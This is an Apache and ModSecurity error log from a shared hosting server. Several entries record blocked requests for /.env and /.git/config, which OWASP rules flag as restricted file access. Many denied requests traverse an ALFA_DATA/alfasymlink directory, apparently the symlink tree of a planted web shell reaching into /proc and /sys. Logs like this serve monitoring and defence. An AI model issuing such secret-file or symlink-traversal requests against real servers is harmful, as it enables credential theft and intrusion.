[Sun Oct 25 09:06:54.378132 2026] [security2:error] [pid 2834006:tid 2834006] [client 172.235.210.84:55994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3-7hD7bhykmI5PXOwDBgAAAAo"]
[Sun Oct 25 09:06:54.378387 2026] [security2:error] [pid 2834006:tid 2834006] [client 172.235.210.84:55994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at3-7hD7bhykmI5PXOwDBgAAAAo"]
[Sun Oct 25 09:06:54.379647 2026] [security2:error] [pid 2834006:tid 2834006] [client 172.235.210.84:55994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3-7hD7bhykmI5PXOwDBgAAAAo"]
[Sun Oct 25 09:06:55.029019 2026] [security2:error] [pid 2806348:tid 2806348] [client 172.235.210.84:56000] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at3-7w-YVEbWS5meiuhkXQAAAAw"]
[Sun Oct 25 09:06:55.029252 2026] [security2:error] [pid 2806348:tid 2806348] [client 172.235.210.84:56000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at3-7w-YVEbWS5meiuhkXQAAAAw"]
[Sun Oct 25 09:06:55.030181 2026] [security2:error] [pid 2806348:tid 2806348] [client 172.235.210.84:56000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3-7w-YVEbWS5meiuhkXQAAAAw"]
[Sun Oct 25 09:06:55.576398 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 44.223.193.255:26059] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/LNXCPU:01/physical_node/node0/compact
[Sun Oct 25 09:07:02.354750 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 44.206.93.215:20603] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:07:10.474708 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 3.221.50.71:3934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:07:14.519298 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.156.124.2:6724] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:07:18.312016 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 3.94.156.104:55058] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:07:22.723839 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.219.80.71:64898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:07:26.320821 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 54.243.63.52:33495] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/ata_piix/remove_id
[Sun Oct 25 09:07:30.343070 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.90.73.206:57123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:07:34.371480 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 34.204.150.196:7839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:07:42.559737 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 34.235.239.240:29172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/uhci_hcd/new_id
[Sun Oct 25 09:07:46.495139 2026] [ssl:error] [pid 2821699:tid 2821699] (22)Invalid argument: [client 184.73.47.24:8737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:03.374428 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 50.16.216.166:22387] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:06.582979 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 18.204.89.56:36167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:06.583197 2026] [security2:error] [pid 2834019:tid 2834019] [client 18.204.89.56:36167] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/memory5/removable"] [unique_id "at3_Nksgp-xlBP1GcWORIgAAABE"]
[Sun Oct 25 09:08:06.583337 2026] [security2:error] [pid 2834019:tid 2834019] [client 18.204.89.56:36167] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/memory5/removable"] [unique_id "at3_Nksgp-xlBP1GcWORIgAAABE"]
[Sun Oct 25 09:08:10.484949 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.212.131.50:58239] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:10.525875 2026] [core:crit] [pid 2821699:tid 2821699] (13)Permission denied: [client 185.12.59.118:49492] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 09:08:14.677469 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 52.45.194.165:65131] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:18.522823 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.213.102.186:25927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:26.387067 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.204.174.139:13637] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:30.450698 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 35.173.18.61:9234] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:34.720981 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 3.231.193.38:1707] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:38.512126 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 23.21.175.228:39933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:46.437373 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 54.235.172.108:11966] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:48.714101 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.16:11062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/sanity_checks
[Sun Oct 25 09:08:49.865332 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 185.191.171.4:34692] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:08:54.580006 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.83.180.239:52429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:09:06.502025 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 54.157.99.244:39844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:09:10.521338 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.210.155.69:14112] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:09:25.719907 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 185.191.171.15:21404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_subflow/red_zone
[Sun Oct 25 09:09:26.863375 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 34.238.45.183:62393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:09:30.454579 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.213.213.161:34802] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:09:32.764682 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 85.208.96.201:17316] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:09:38.492711 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 54.90.8.255:21458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:09:41.662812 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.12:60904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/cpu_partial
[Sun Oct 25 09:09:42.764346 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 185.191.171.6:55280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/usersize
[Sun Oct 25 09:09:50.453804 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.221.203.24:31211] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:09:58.622141 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.220.148.166:61390] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:10:02.663839 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 3.215.221.125:47027] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:10:06.673691 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.208.146.193:44497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:10:18.538579 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 23.21.148.226:41019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:10:42.760838 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.230.69.161:56100] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:10:46.765372 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 185.191.171.6:43374] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:10:48.357610 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 85.208.96.203:26504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/reclaim_account
[Sun Oct 25 09:11:02.506281 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.82.40.168:14558] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:11:06.511874 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 44.209.89.189:51896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:11:17.146501 2026] [core:error] [pid 2834020:tid 2834020] (13)Permission denied: [client 185.191.171.4:40604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/order
[Sun Oct 25 09:11:20.260414 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.223.116.149:34976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:11:22.632043 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 3.221.156.96:54389] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:11:26.700902 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 44.209.187.99:3531] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:11:42.686405 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.212.205.90:38673] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:11:46.576704 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 44.197.76.210:51663] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:11:50.510368 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 98.82.38.120:34826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:11:58.528431 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 3.222.190.107:41392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/close_delay
[Sun Oct 25 09:12:10.492503 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 54.204.12.115:24728] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:12:26.416771 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.194.226.74:17370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:12:42.294153 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.192.67.98:47851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:12:54.191144 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 3.212.86.97:48197] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:12:58.233230 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 3.235.215.92:6469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:13:06.283547 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.205.213.231:22583] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:13:11.434802 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.94.156.104:39846] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:13:14.200504 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.54.157.23:42053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:13:18.520931 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 98.83.72.38:1293] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:13:22.221158 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 3.94.199.128:37467] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:08/eject
[Sun Oct 25 09:13:26.551072 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 3.222.85.38:60756] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:13:46.176445 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 3.215.221.125:10315] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/remove
[Sun Oct 25 09:13:58.171620 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.1.106.130:30273] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:14:02.165405 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 18.206.47.187:12555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input0/event0/device/device/subsystem/drivers/battery/uevent
[Sun Oct 25 09:14:05.013858 2026] [authz_core:error] [pid 2834008:tid 2834008] [client 66.132.186.194:47160] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 09:14:14.300962 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 54.85.109.140:33837] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/rescan
[Sun Oct 25 09:14:18.780686 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.3.102.51:47020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:14:26.321334 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 54.162.69.192:31246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:14:40.807496 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 185.191.171.10:23154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/transfermysqlusers
[Sun Oct 25 09:14:42.239624 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.204.71.8:62743] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:14:46.203098 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 35.172.125.172:28616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:14:49.059341 2026] [authz_core:error] [pid 2834020:tid 2834020] [client 66.132.186.194:7612] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 09:15:02.159204 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 18.232.12.157:44457] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/crash_notes
[Sun Oct 25 09:15:06.152577 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.221.244.28:26336] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:15:12.150235 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.206:40700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/min_partial
[Sun Oct 25 09:15:14.173738 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 44.223.193.255:33874] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:15:22.286286 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 54.243.63.52:62333] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:11/eject
[Sun Oct 25 09:15:24.630748 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 85.208.96.210:56898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:15:30.381051 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.44.148.203:52218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:15:38.311033 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 23.21.175.228:38672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:15:46.289065 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.44.174.136:42269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:15:50.180562 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.157.99.244:49158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:15:54.156105 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 184.73.195.18:56665] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/cirrus/new_id
[Sun Oct 25 09:16:02.164660 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 107.20.25.33:45689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/mouse0/subsystem/input1/event1/device/device/driver/unbind
[Sun Oct 25 09:16:06.158536 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.164.106.236:51976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:16:10.180387 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 18.235.81.246:32269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:16:10.180633 2026] [security2:error] [pid 2834006:tid 2834006] [client 18.235.81.246:32269] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:01/PNP0B00:00/power/runtime_status"] [unique_id "at4BGhD7bhykmI5PXOwDGgAAAAo"]
[Sun Oct 25 09:16:10.180666 2026] [security2:error] [pid 2834006:tid 2834006] [client 18.235.81.246:32269] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:01/PNP0B00:00/power/runtime_status"] [unique_id "at4BGhD7bhykmI5PXOwDGgAAAAo"]
[Sun Oct 25 09:16:14.175174 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 54.89.90.224:3954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:16:18.201272 2026] [ssl:error] [pid 2834008:tid 2834008] (5)Input/output error: [client 34.205.170.13:37012] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:16:22.169869 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 3.232.82.72:18544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:04.0/resource4
[Sun Oct 25 09:16:30.151238 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 23.21.175.228:14275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:16:38.367526 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 54.204.62.163:5698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/subsystem/drivers_probe
[Sun Oct 25 09:16:42.415479 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 100.25.120.246:49732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:16:46.192697 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 3.227.180.70:46595] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:16:54.170523 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.193.2.57:7161] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:16:58.176207 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.93.253.174:56267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:17:02.148710 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 44.212.232.231:18122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/uevent
[Sun Oct 25 09:17:06.147617 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 184.73.167.217:11980] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:17:10.154966 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.29.160.53:53673] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:17:18.239554 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.235.215.92:59829] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:17:22.306466 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 54.204.12.115:33393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:18/eject
[Sun Oct 25 09:17:26.265030 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.196.237.236:47205] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:17:30.175267 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 44.209.89.189:65488] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:17:36.260365 2026] [security2:error] [pid 2834020:tid 2834020] [client 172.71.127.154:12020] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4BcBus_mjnPB8X3pG9jwAAABI"]
